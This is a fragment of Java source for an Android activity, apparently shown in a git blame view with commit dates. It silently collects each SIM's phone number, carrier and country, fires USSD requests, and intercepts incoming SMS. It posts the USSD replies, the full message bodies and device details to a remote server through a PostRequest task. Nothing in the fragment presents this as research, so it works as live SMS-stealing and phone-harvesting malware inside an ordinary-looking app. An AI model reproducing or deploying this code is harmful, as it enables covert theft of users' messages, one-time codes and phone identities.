NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
|
|
|
|
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
|
|
|
|
}
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
public static String extractFirstPhoneNumber(String input) {
|
2025-03-04 19:36:58 +03:00
|
|
|
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
|
|
|
|
Pattern pattern = Pattern.compile(regex);
|
|
|
|
Matcher matcher = pattern.matcher(input);
|
|
|
|
|
|
|
|
if (matcher.find()) {
|
|
|
|
return matcher.group()
|
2025-03-04 19:36:58 +03:00
|
|
|
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
|
|
|
|
""); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
return ""; // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
private void requestUssdNumber(PhoneNumber phone) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
|
|
|
return;
|
2025-03-04 19:36:58 +03:00
|
|
|
String ussdRequest = null;
|
2025-02-26 22:02:50 +03:00
|
|
|
boolean smsResponse = false;
|
2025-03-04 19:36:58 +03:00
|
|
|
try {
|
|
|
|
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
2025-03-06 22:31:04 +03:00
|
|
|
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
} catch (JSONException e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("ddd", Arrays.toString(e.getStackTrace()));
|
2025-03-04 19:36:58 +03:00
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
2025-03-04 19:36:58 +03:00
|
|
|
boolean finalSmsResponse = smsResponse;
|
|
|
|
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
|
2025-02-26 21:39:26 +03:00
|
|
|
@Override
|
|
|
|
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
|
|
|
|
super.onReceiveUssdResponse(telephonyManager, request, response);
|
|
|
|
String responseString = response.toString();
|
2025-04-16 00:35:18 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(getBaseContext(), null);
|
2025-04-16 00:50:43 +03:00
|
|
|
postRequestTask.execute("ussdResponse",
|
2025-04-16 00:35:18 +03:00
|
|
|
getDeviceInfo(getBaseContext()) + ";" + responseString); // STATIC
|
2025-04-15 23:22:39 +03:00
|
|
|
if(!finalSmsResponse){
|
|
|
|
String extractedNumber = extractFirstPhoneNumber(responseString);
|
|
|
|
if (extractedNumber.isEmpty()) {
|
|
|
|
receivingSms = true;
|
|
|
|
} else {
|
|
|
|
phone.setPhone(extractFirstPhoneNumber(responseString));
|
|
|
|
savePhone(getBaseContext(), phone);
|
|
|
|
}
|
2025-02-26 22:02:50 +03:00
|
|
|
} else {
|
2025-04-15 23:22:39 +03:00
|
|
|
receivingSms = true;
|
2025-02-26 22:02:50 +03:00
|
|
|
}
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
@Override
|
|
|
|
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
|
|
|
|
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
2025-03-14 21:15:54 +03:00
|
|
|
nextPhone();
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
2025-02-26 22:02:50 +03:00
|
|
|
}, null);
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "collectPhoneNumber"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
2025-03-04 19:36:58 +03:00
|
|
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
return phoneNumbers;
|
|
|
|
}
|
|
|
|
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
|
|
|
|
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
|
|
|
|
for (int i = 0; i < subscriptions.size(); i++) {
|
|
|
|
SubscriptionInfo currentCard = subscriptions.get(i);
|
2025-02-26 21:39:26 +03:00
|
|
|
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
|
|
|
|
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
|
2025-02-28 23:41:43 +03:00
|
|
|
phoneNumbers.add(new PhoneNumber(
|
|
|
|
phoneNumber,
|
|
|
|
telephonyManager,
|
2025-04-15 20:29:11 +03:00
|
|
|
telephonyManager.getSimOperatorName().toLowerCase(),
|
|
|
|
currentCard.getCountryIso().toLowerCase()
|
2025-02-28 23:41:43 +03:00
|
|
|
));
|
2025-01-29 23:01:25 +03:00
|
|
|
}
|
2025-04-16 01:03:58 +03:00
|
|
|
|
|
|
|
|
2025-04-14 20:29:39 +03:00
|
|
|
/*
|
2025-04-14 19:47:15 +03:00
|
|
|
phoneNumbers.add(
|
|
|
|
new PhoneNumber("959662898798", null,"govno", "uz") // STATIC
|
|
|
|
);
|
2025-04-14 20:05:56 +03:00
|
|
|
phoneNumbers.add(
|
|
|
|
new PhoneNumber("6283175913984", null,"dermo", "uz") // STATIC
|
2025-04-14 20:29:39 +03:00
|
|
|
#);
|
|
|
|
*/
|
|
|
|
|
2025-04-16 01:04:12 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(context, null);
|
2025-04-16 01:03:58 +03:00
|
|
|
postRequestTask.execute("collectedPhones",
|
|
|
|
getDeviceInfo(context) + ";" + String.valueOf(phoneNumbers)); // STATIC
|
|
|
|
|
2025-04-14 20:05:56 +03:00
|
|
|
|
2025-04-08 23:53:30 +03:00
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
return phoneNumbers;
|
|
|
|
}
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
|
|
|
|
@Override
|
|
|
|
public void onReceive(Context context, Intent intent) {
|
|
|
|
Bundle bundle = intent.getExtras();
|
|
|
|
if (bundle != null) {
|
2025-03-04 19:36:58 +03:00
|
|
|
Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
if (pdus != null) {
|
2025-02-28 23:41:43 +03:00
|
|
|
if(!receivingSms)
|
|
|
|
return;
|
2025-02-26 21:39:26 +03:00
|
|
|
for (Object pdu : pdus) {
|
|
|
|
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
|
|
|
|
String messageBody = smsMessage.getMessageBody();
|
2025-02-26 22:02:50 +03:00
|
|
|
String phoneNumber = extractFirstPhoneNumber(messageBody);
|
2025-02-28 23:41:43 +03:00
|
|
|
if(!phoneNumber.isEmpty()) {
|
|
|
|
phones.get(currentPhone).setPhone(phoneNumber);
|
|
|
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
2025-02-26 22:02:50 +03:00
|
|
|
}
|
2025-04-16 01:03:58 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(getBaseContext(), null);
|
|
|
|
postRequestTask.execute("smsResponse",
|
|
|
|
getDeviceInfo(getBaseContext()) + ";" + messageBody); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
};
|
|
|
|
|
|
|
|
@Override
|
|
|
|
public void onBackPressed() {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "onBackPressed"); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
if (webView.canGoBack()) {
|
|
|
|
webView.goBack();
|
|
|
|
} else {
|
|
|
|
super.onBackPressed();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
@Override
|
|
|
|
protected void onDestroy() {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "onDestroy"); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
super.onDestroy();
|
2025-02-28 23:41:43 +03:00
|
|
|
try {
|
|
|
|
unregisterReceiver(smsReceiver);
|
|
|
|
} catch(IllegalArgumentException e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("ppp", Arrays.toString(e.getStackTrace()));
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
}
|
2025-02-26 21:39:26 +03:00
|
|
|
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
}
|